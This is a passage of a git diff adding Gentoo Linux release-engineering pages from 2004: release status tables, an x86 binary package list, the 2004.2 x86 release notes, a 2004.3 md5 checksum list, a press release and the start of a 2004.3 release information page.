+					<th>Complete</th>
+				</tr>
+				<tr>
+					<th>Improved x86 SMP support</th>
+					<th>livewire, roger55</th>
+					<th>Complete</th>
+				</tr>
+				<tr>
+					<th>CD type (minimal, universal) branding</th>
+					<th>zhen</th>
+					<th>Complete</th>
+				</tr>
+				<tr>
+					<ti>ufed included on the LiveCD</ti>
+					<ti>zhen</ti>
+					<ti>Deferred</ti>
+				</tr>
+				<tr>
+					<th>LiveCD ISO torrents</th>
+					<th>jforman</th>
+					<th>Complete</th>
+				</tr>
+				<tr>
+					<ti>Release specfiles availability</ti>
+					<ti>zhen</ti>
+					<ti>In Progress</ti>
+				</tr>
+			</table>
+			
+		</body>
+	</section>
+	
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+		<p>Tentatively, the following architectures are releasing 2004.2: </p>
+		
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2004.2</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>x86</ti>
+				<ti>x86, athlon-xp, pentium3, pentium4</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>beejay</ti>
+			</tr>
+			<tr>
+				<ti>amd64</ti>
+				<ti>amd64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>jhuebel</ti>
+			</tr>
+			<tr>
+				<ti>ppc</ti>
+				<ti>G3, G4, G5</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>pvdabeel</ti>
+			</tr>
+			<tr>
+				<ti>sparc</ti>
+				<ti>sparc32, sparc64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>weeve, gustavoz</ti>
+			</tr>
+			<tr>
+				<ti>hppa</ti>
+				<ti>all supported sub-architectures</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>gmsoft</ti>
+			</tr>
+		</table>
+
+		<p>If information regarding a specific arch is wrong or has been omitted, please
+		contact the release operations manager.</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.2/x86-packagelist-2004.2.xml b/xml/htdocs/proj/en/releng/release/2004.2/x86-packagelist-2004.2.xml
new file mode 100644
index 00000000..352d6e73
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.2/x86-packagelist-2004.2.xml
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.2/x86-packagelist-2004.2.xml,v 1.1 2004/07/16 12:50:00 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-packagelist-2004.2.xml">
+
+<title>List of packages that are availabe for binary (GRP) installation</title>
+
+<author title="Author"><mail link="zhen@gentoo.org">John Davis</mail></author>
+<author title="x86 Release Coordinator"><mail link="beejay@gentoo.org">Benjamin Judas</mail></author>
+
+<abstract>This is a list of packages that are available for binary (GRP) installation using the 2nd CD.</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>16 July 2004</date>
+
+<chapter>
+	<title>Available packages</title>
+	<section>
+		<title>distfiles on universal LiveCD</title>
+		<body>
+		<ul>
+			<li>gentoo-sources</li>
+			<li>gentoo-dev-sources</li>
+			<li>vanilla-sources</li>
+			<li>development-sources</li>
+			<li>iptables</li>
+			<li>gpm</li>
+			<li>rp-pppoe</li>
+			<li>ppp</li>
+			<li>speedtouch</li>
+			<li>pciutils</li>
+			<li>hdparm</li>
+			<li>hotplug</li>
+			<li>aumix</li>
+			<li>xfree</li>
+			<li>iputils</li>
+			<li>vixie-cron</li>
+			<li>sysklogd</li>
+			<li>metalog</li>
+			<li>syslog-ng</li>
+			<li>raidtools</li>
+			<li>jfsutils</li>
+			<li>xfsprogs</li>
+			<li>reiserfsprogs</li>
+			<li>lvm-user</li>
+			<li>dosfstools</li>
+			<li>lilo</li>
+			<li>grub</li>
+			<li>superadduser</li>
+			<li>gentoolkit</li>
+			<li>chkrootkit</li>
+			<li>minicom</li>
+			<li>lynx</li>
+			<li>rpm2targz</li>
+			<li>parted</li>
+			<li>rdate</li>
+			<li>whois</li>
+			<li>tcpdump</li>
+			<li>cvs</li>
+			<li>unzip</li>
+			<li>zip</li>
+			<li>netcat</li>
+			<li>isdn4k-utils</li>
+			<li>nforce-net</li>
+			<li>nforce-audio</li>
+			<li>iproute2</li>
+			<li>nvidia-kernel</li>
+			<li>nvidia-glx</li>
+			<li>ati-drivers</li>
+			<li>e100</li>
+			<li>e1000</li>
+			<li>wireless-tools</li>
+			<li>pcmcia-cs</li>
+			<li>emu10k1</li>
+			<li>evms</li>
+			<li>linux-wlan-ng</li>
+			<li>sys-apps/eject</li>
+			<li>genkernel</li>
+		</ul>
+		</body>
+	</section>
+	
+	<section>
+		<title>Precompiled binary-packages on CD #2</title>
+		<body>
+		<ul>
+			<li>pciutils</li>
+			<li>hdparm</li>
+			<li>hotplug</li>
+			<li>aumix</li>
+			<li>xorg-x11</li>
+			<li>dante</li>
+			<li>tsocks</li>
+			<li>chkrootkit</li>
+			<li>minicom</li>
+			<li>lynx</li>
+			<li>rpm2targz</li>
+			<li>parted</li>
+			<li>rdate</li>
+			<li>whois</li>
+			<li>tcpdump</li>
+			<li>cvs</li>
+			<li>unzip</li>
+			<li>zip</li>
+			<li>netcat</li>
+			<li>partimage</li>
+			<li>DirectFB</li>
+			<li>apache</li>
+			<li>app-cdr/cdrtools</li>
+			<li>gnome</li>
+			<li>evolution</li>
+			<li>cups</li>
+			<li>dev-db/mysql</li>
+			<li>dev-lang/ruby</li>
+			<li>emacs</li>
+			<li>enlightenment</li>
+			<li>fluxbox</li>
+			<li>kde</li>
+			<li>libsdl</li>
+			<li>mozilla</li>
+			<li>xfce4</li>
+			<li>openbox</li>
+			<li>openoffice-bin</li>
+			<li>sylpheed</li>
+			<li>vim</li>
+			<li>xemacs</li>
+			<li>xmms</li>
+			<li>mozilla-firefox</li>
+			<li>abiword</li>
+			<li>gaim</li>
+			<li>tetex</li>
+			<li>xcdroast</li>
+			<li>samba</li>
+			<li>nmap</li>
+			<li>gradm</li>
+			<li>ettercap</li>
+			<li>xchat</li>
+			<li>dante</li>
+			<li>tsocks</li>
+			<li>logrotate</li>
+		</ul>
+		</body>
+	</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.2/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.2/x86-release-notes.xml
new file mode 100644
index 00000000..3d0a2b19
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.2/x86-release-notes.xml
@@ -0,0 +1,236 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.2/x86-release-notes.xml,v 1.7 2004/07/27 14:39:41 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2004.2</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="x86 Release Coordinator">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+Gentoo 2004.2 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>15 July 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.2
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 1.4. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.2</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.2 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200404-14 to 200407-12.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly.</ti>
+				<ti>Boot using the gentoo-nofb or smp-nofb kernels.</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.3-r6</li>
+				<li>glibc 2.3.3-20040420</li>
+				<li>development-sources-2.6.7</li>
+				<li>gentoo-dev-sources-2.6.7-r11</li>
+				<li>gentoo-sources-2.4.26-r6</li>
+				<li>grsec-sources-2.4.26.2.0-r6</li>
+				<li>gs-sources-2.4.25_pre7-r8</li>
+				<li>openmosix-sources-2.4.22-r11</li>
+				<li>planet-ccrma-sources-2.4.21-r11</li>
+				<li>usermode-sources-2.4.24-r6</li>
+				<li>vanilla-sources-2.4.26</li>
+				<li>win4lin-sources-2.6.7-r2</li>
+				<li>wolk-sources-4.11-r7</li>
+				<li>Portage 2.0.50-r9</li>
+				<li>X.org-x11 6.7.0-r1</li>
+				<li>KDE 3.2.2</li>
+				<li>GNOME 2.6</li>
+				<li>XFCE4 4.0.5</li>
+			</ul>
+
+			<p>Coreutils is now available in Version 5.2.1 with ACL patches. 
+			X.org-X11 is now the default XServer (current version is 6.7.0-r1).
+			See also the <uri link="x86-packagelist-2004.2.xml">list of packages</uri> available for binary installation</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r9 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in pre-2004.1 releases.</li>
+				<li>Gentoo Linux 2004.2 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.0.8.1. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+				<li>The default XServer has changed from XFree86 to x.org's X-Server.
+				If you want to use the new server instead of the old XFree (which is unmaintained now)
+				simply emerge <c>xorg-x11</c> instead of <c>xfree</c></li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2004.2. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.2</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.2</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There are several kernels to choose from when using a Gentoo LiveCD to boot your
+			machine. The two main choices, the 2.4.26 (gentoo-sources-2.4.26-r6) based <c>gentoo</c> kernel and the 2.6.7 (gentoo-dev-sources-2.6.7-r11) based <c>smp</c> kernel
+			will boot the machine into either uniprocessor or multiprocessor (SMP) mode, respectively.
+			The other two options, <c>gentoo-nofb</c> and <c>smp-nofb</c> boot the machine into uniprocessor
+			or multiprocessor mode without console framebuffer support. Press "F1" at the boot
+			prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.2/livecd/universal/install-x86-universal-2004.2.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.2/livecd/universal/install-x86-minimal-2004.2.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP LiveCD</ti>
+					<ti>/releases/x86/2004.2/livecd/$subarch/packages-$subarch-2004.2.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.2</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2004.2 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.2. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/2004.3-md5.txt b/xml/htdocs/proj/en/releng/release/2004.3/2004.3-md5.txt
new file mode 100644
index 00000000..8c0bba52
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/2004.3-md5.txt
@@ -0,0 +1,86 @@
+84dac276485bbb82b45b20ec0db4c13b  install-hppa-minimal-2004.3.iso
+ca2a72e84068c3706d682f042a026e03  install-hppa-universal-2004.3.iso
+28f7d1d741cd9e25d56917580c110d7d  packagecd-hppa1.1-2004.3.iso
+e26e7c730f73445e43fd78b3de8a0014  packagecd-hppa2.0-2004.3.iso
+1c61b0db60a82cacb12f3e08990808ec  stage1-hppa1.1-2004.3.tar.bz2
+7c8941431d50fb18b895892a95caf649  stage2-hppa1.1-2004.3.tar.bz2
+252e37f5a182931b1b3f504f846dd5b6  stage3-hppa1.1-2004.3.tar.bz2
+846d3f72ac7600f28923239fe6d95abd  stage1-hppa2.0-2004.3.tar.bz2
+75ead88a96814bf3a5876fba1a59cf32  stage2-hppa2.0-2004.3.tar.bz2
+b36d55fa6c5a496e7cecfa3d937cd54a  stage3-hppa2.0-2004.3.tar.bz2
+829a2174eebbf63e0c1305cc06208c50  portage-20041022.tar.bz2
+ed884abb415e1bb98322e26858a83212  install-ppc64-pSeries-minimal-2004.3.iso
+4ab6979c9cda83a21b7bd50d85d2482c  install-ppc64-g5-minimal-2004.3.iso
+7e456349ed98ff911672471f1beab3a3  stage1-ppc64-2004.3.tar.bz2
+ede45075178eda937026b474c36ae054  stage2-ppc64-2004.3.tar.bz2
+21f48970fda51566e79c5140fc8d5f88  stage3-ppc64-2004.3.tar.bz2
+f4adce76873e0e28223150875f40e4ac  install-amd64-minimal-2004.3.iso
+a094b89a8823966a2afbd175e14a096f  install-amd64-universal-2004.3.iso
+ebfaf2fd8caa4c754999affa8cdf65df  stage1-amd64-2004.3.tar.bz2
+55b243ba95f53883315a219bef83cfa2  stage2-amd64-2004.3.tar.bz2
+eacca7db73d4c6785d8445f0ae11ceb3  stage3-amd64-2004.3.tar.bz2
+7de11d0ee0e92c9583d79ee71968f7d0  portage-20041022.tar.bz2
+fffae722310398b1f77393348a8e203a  packages-amd64-2004.3.iso
+0e3fc0b35fa3a2ff3132b5ed942b91d5  stage1-ppc-2004.3.tar.bz2
+30fb73f97d2af75da66a546f4547fbbd  stage2-ppc-2004.3.tar.bz2
+b893f152e3c6aff4904b43e45c36b1e1  stage3-ppc-2004.3.tar.bz2
+6604b4bb581d237acfb4fc5613d06d9c  stage2-g3-2004.3.tar.bz2
+fcae7c55195ddcc59db353dc9b61a4f7  stage3-g3-2004.3.tar.bz2
+a67f83401ed82a57588e5546edd26731  stage2-g4-2004.3.tar.bz2
+de9277d0b3e3e39b92ae0291aa9289ab  stage3-g4-2004.3.tar.bz2
+1286123aed8eff9db0688f60c42cfb79  stage2-g5-2004.3.tar.bz2
+a6108a691c9f5657055b18446b3317d1  stage3-g5-2004.3.tar.bz2
+974088350cbf020919e91a47425fb72c  packages-ppc-2004.3.iso
+6e9499946e02292d76eac1c99343a561  install-ppc-minimal-2004.3.iso
+d3471ea16c8a97cb3fc26e19d5525e5a  install-ppc-universal-2004.3.iso
+f84163600381a071b526015b7e245314  portage-20040926.tar.bz2
+8912d4b98d337c6520f0a92d3422fc1c  install-sparc64-minimal-2004.3.iso
+19f496da4e9ff06660c0069f0be3faac  install-sparc64-universal-2004.3.iso
+4168fac14ede1949dcdb95b66aaa757e  packages-sparc64-2004.3.iso
+26108d6a09eaef70779573bf2a76bc69  stage1-sparc64-2004.3.tar.bz2
+39cf7b5f0eb8597c62a30d9a780a1224  stage2-sparc64-2004.3.tar.bz2
+ea216505164308b27fefc69186899d19  stage3-sparc64-2004.3.tar.bz2
+f4fe1fb9473859f4d639924b4c7c90d2  portage-20041022.tar.bz2
+eae5627e9f0b3cbf0fba04feff2f55ec  install-x86-minimal-2004.3.iso
+17a48f00d6bac070aaa320aeb431d094  install-x86-universal-2004.3.iso
+bda9bf4701b79091b785e41aa7e5a162  packages-x86-2004.3.iso
+efaa72c420df29c21568ad656de4cefb *stage2-athlon-xp-2004.3.tar.bz2
+9ef8b4b36f610af05173c6a7efc81bd0 *stage3-athlon-xp-2004.3.tar.bz2
+7b51f646be4391ab7f70a9ab5146064e *stage2-i686-2004.3.tar.bz2
+4e89eb20ee579145191cb481067a0dfc *stage3-i686-2004.3.tar.bz2
+00760d15b96f8486f61f8af415f74238 *stage2-pentium3-2004.3.tar.bz2
+9fe1909ab375e53cf77b3cd89145e898 *stage3-pentium3-2004.3.tar.bz2
+a9981577ae126c82c89523992a279484 *stage2-pentium4-2004.3.tar.bz2
+ee8b31fe82f739774740206a30552f24 *stage3-pentium4-2004.3.tar.bz2
+1fa657675542653f0eee1418a061b290 *stage1-x86-2004.3.tar.bz2
+307bd2efc942137cd57d0fdbb9842b6b *stage2-x86-2004.3.tar.bz2
+b8e7843277c75c637baa26aa86a26d8b *stage3-x86-2004.3.tar.bz2
+4ad7ee93a1797f67655e46bfb6b5cfec  portage-20041022.tar.bz2
+869ec1da568de96bf6a636ba2d26212d  stage2-s390-2004.3.tar.bz2
+501767cbd786b9809978d562c1d36ac0  stage3-s390-2004.3.tar.bz2
+c7b0699912d9244e44f5d375e417fcb7  stage1-s390-2004.3.tar.bz2
+3a21a6fd09336a08d5dec33784d5d036  install-alpha-minimal-2004.3.iso
+6545988230d8a0c92236f6ffb9febcc5  stage1-alpha-2004.3.tar.bz2
+821071aa38bd652baaff4cc974fce9f2  stage2-alpha-2004.3.tar.bz2
+ec36751e8c304f3ba2be2088a5fbc19f  stage3-alpha-2004.3.tar.bz2
+5bd6e81058a3b0e690995cc9930eb886  stage1-arm-uclibc-2004.3.tar.bz2
+c7c36b0222e1d184f614fda75e00081e  stage2-arm-uclibc-2004.3.tar.bz2
+1fb3c0b1ef79c35c45ce69816ed2fb87  stage3-arm-uclibc-2004.3.tar.bz2
+ab015fe24ed91664f33fd79a6a8a829b  stage1-mips-uclibc-20041020.tar.bz2
+bac58c43f53cc8b76c375b2c25b8231e  stage2-mips-uclibc-20041020.tar.bz2
+c35a85ec316ba8aa29a67c0178fa2fb0  stage3-mips-uclibc-20041020.tar.bz2
+822627f2f103e2cb9bbaa0da6e902ae4  stage1-ppc-uclibc-2004.3.tar.bz2
+8ca532698311d5982d24364369850da9  stage2-ppc-uclibc-2004.3.tar.bz2
+7cf09a1326857b48f14766c4c31963f1  stage3-ppc-uclibc-2004.3.tar.bz2
+86b0d00d48cca77e0cca8f3f3c35e824  stage1-x86-uclibc-2004.3.tar.bz2
+afd465b24086e0888550cd0d6eba3f26  stage1-x86-uclibc-hardened-2004.3.tar.bz2
+bb7664dd35eb861b8215d738472840ad  stage2-x86-uclibc-2004.3.tar.bz2
+7eb228e49f05e566f07414e5ad75b8d7  stage2-x86-uclibc-hardened-2004.3.tar.bz2
+702862258ba4eaed73341eaeea634c16  stage3-x86-uclibc-2004.3.tar.bz2
+153e240aea4e67c58bf2d2047b03e4ef  stage3-x86-uclibc-hardened-2004.3.tar.bz2
+c3aa28afa102845e83312f8717514908 *packages-i686-2004.3.iso
+400927569cd0ecf0505c8dec8eb9c8f5 *packages-pentium3-2004.3.iso
+d4d7f2933eecfd9282a907bf4b1ba9bc *packages-athlon-xp-2004.3.iso
+23891c4266bc3e17f68664a19a2244f3  packages-g3-2004.3.iso
+22d0e44a94c8b3a6d0dc9988ccab0cb1  packages-g4-2004.3.iso
+3636ea37bb2c5d38dba6f7c6ba69a09a  packages-g5-2004.3.iso
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/2004.3-press-release.txt b/xml/htdocs/proj/en/releng/release/2004.3/2004.3-press-release.txt
new file mode 100644
index 00000000..29b4760c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/2004.3-press-release.txt
@@ -0,0 +1,29 @@
+Gentoo is proud to present the world with Gentoo Linux 2004.3!
+
+This is the final release of 2004 and is the culmination of the work of each of
+our developers.  The main focus for this release was fixing bugs in previous
+releases and making the release tools more robust and easier to use.  Releasing
+for 2004.3 are AMD64, HPPA, PPC, SPARC, X86 and also our initial PPC64 release.
+There is also an experimental Alpha release, along with stages for IA64 and
+S390.  The embedded team has also released embedded stages for ARM, MIPS, PPC,
+and X86, all which can be found under /experimental.  You can find out more
+about 2004.3 by checking out the release page[1] or reading the ChangeLog[2].
+
+Some points of interest include:
+
+	-both AMD64 and PPC switching to GCC 3.4 as their default compiler
+	-SPARC releasing only SPARC64 media
+	-AMD64 and X86 switching to a single kernel for the LiveCD
+	-improved cooperation between the various architecture teams
+
+The Release Engineering project would like to thank all of the Gentoo developers
+and our many community testers for making this release our best ever and we're
+all looking forward to bringing you an awesome 2005.0!
+
+Gentoo Linux 2004.3 can be downloaded from any of our official mirrors[3], as
+well as purchased from the Gentoo Store[4].
+
+[1] http://www.gentoo.org/proj/en/releng/release/2004.3/2004.3.xml
+[2] http://www.gentoo.org/proj/en/releng/release/2004.3/ChangeLog
+[3] http://www.gentoo.org/main/en/mirrors.xml
+[4] http://store.gentoo.org
diff --git a/xml/htdocs/proj/en/releng/release/2004.3/2004.3.xml b/xml/htdocs/proj/en/releng/release/2004.3/2004.3.xml
new file mode 100644
index 00000000..5467ab0a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.3/2004.3.xml
@@ -0,0 +1,218 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.3/2004.3.xml,v 1.13 2005/12/01 16:26:02 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2004.3.xml">
+<title>2004.3 Release Information</title>
+
+<author title="Author">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Editor">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide serves as the definitive source for all 2004.3 information.
+</abstract>
+
+<license/>
+
+<version>1.11</version>
+<date>15 November 2004</date>
+
+<chapter>
+	<title>Goals</title>
+	<section>
+		<body>
+		
+			<p>With the hopes of finishing off 2004 on a high note, the Release
+			Engineering team is going to focus on bugfixing and polishing for the 2004.3 release.
+			Our main focus will be the enhancement and optimization of release media, especially
+			with regard to the x86 architecture. </p>
+
+			<p>In addition to bugfixing, the Release Engineering team is going to be releasing
+			some technology previews as well. These previews will highlight what is to
+			come for the 2005 year of release media. </p>
+			
+			<p>The Release Enginnering team has identified the following key focus areas:</p>	
+		
+			<ul>
+				<li>Smaller, more optimized x86 LiveCDs</li>
+				<li>Better control of the release timeline, especially when it comes to uploading
+				and final QA</li>
+				<!--<li>x86 XLiveCD (technology preview)</li>-->
+				<li>Better control of release information such as changes and bugfixes
+				since the previous release</li>
+			</ul>
+			
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>2004.3 Information</title>
+	<section>
+		<title>Release Resources</title>
+		<body>
+			<p><b>Release Notes:</b></p>
+			<ul>
+				<li><uri link="http://amd64.gentoo.org/technotes.xml">AMD64 Release Notes</uri></li>
+				<li><uri link="/proj/en/releng/release/2004.3/ppc-release-notes.xml">PPC Release Notes</uri></li>
+				<li><uri link="/proj/en/releng/release/2004.3/x86-release-notes.xml">X86 Release Notes</uri></li>
+			</ul>
+
+			<p>md5sums for all release media can be found on the mirrors.
+			Alternatively, a single text file containing all of the md5sums is
+	        also <uri link="/proj/en/releng/release/2004.3/2004.3-md5.txt">available</uri>.</p>
+
+			<p>All release media is signed by the <c>Gentoo Linux Release Engineering (releng@gentoo.org)</c>
+			 PGP key. The public key ID is <c>17072058</c>, and the key is available through the
+			 <c>subkeys.pgp.net</c> keyserver.</p>
+
+		</body>
+	</section>
+		
+	<section>
+		<title>Contacts and Schedule</title>
+		<body>
+		
+		<p><b>Contacts:</b></p>
+		<ul>
+			<li>Release Operations: <mail link="wolf31o2@gentoo.org">John Davis (zhen)</mail></li>
+			<li>Public Relations: <mail link="zhen@gentoo.org">John Davis (zhen)</mail></li>
+			<li>Documentation: <mail link="swift@gentoo.org">Sven Vermeulen</mail></li>
+			<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff Forman</mail></li>
+		</ul>
+		
+		<p><b>2004.3 Schedule</b></p>
+
+		<table>
+			<tr>
+				<th>Milestone</th>
+				<th>Description</th>
+				<th>Deadline</th>
+				<th>Status</th>
+			</tr>
+			<tr>
+				<ti>QA Testing</ti>
+				<ti>Release components have been thoroughly tested in accordance
+				with the QA guidelines. At least one test release has been made by this time.</ti>
+				<ti>October 22th</ti>
+				<ti>Completed</ti>
+			</tr>
+			<tr>
+				<ti>Release upload</ti>
+				<ti>All release components are uploaded to the arch release 
+				coordinator's webspace on dev.gentoo.org</ti>
+				<ti>October 29th</ti>
+				<ti>Completed</ti>
+			</tr>
+			<tr>
+				<ti>Mirrors are staged</ti>
+				<ti>Releng and Infra will stage the mirrors</ti>
+				<ti>November 1st</ti>
+				<ti>Completed</ti>
+			</tr>
+			<tr>
+				<ti>2004.3 Release</ti>
+				<ti>2004.3 is publically released</ti>
+				<ti>November 15th</ti>
+				<ti>Completed</ti>
+			</tr>
+		</table>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+		<p>The following supported architectures are tentatively releasing 2004.3: </p>
+		
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2004.3</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>amd64</ti>
+				<ti>amd64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>jhuebel</ti>
+			</tr>
+			<tr>
+				<ti>ppc</ti>
+				<ti>G3, G4, G5</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>pvdabeel</ti>
+			</tr>
+			<tr>
+				<ti>sparc</ti>
+				<ti>sparc32, sparc64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>weeve, gustavoz</ti>
+			</tr>
+			<tr>
+				<ti>x86</ti>
+				<ti>x86, athlon-xp, pentium3, pentium4</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>beejay</ti>
+			</tr>
+
+		</table>
+		
+		<p>The following unsupported architectures are tentatively releasing 2004.3: </p>
+		
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2004.3</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>alpha</ti>
+				<ti>alpha</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>kloeri, agriffis</ti>
+			</tr>
+			<tr>
+				<ti>arm</ti>
+				<ti>arm</ti>
+				<ti>stages</ti>
+				<ti>vapier</ti>
+			</tr>
+			<tr>
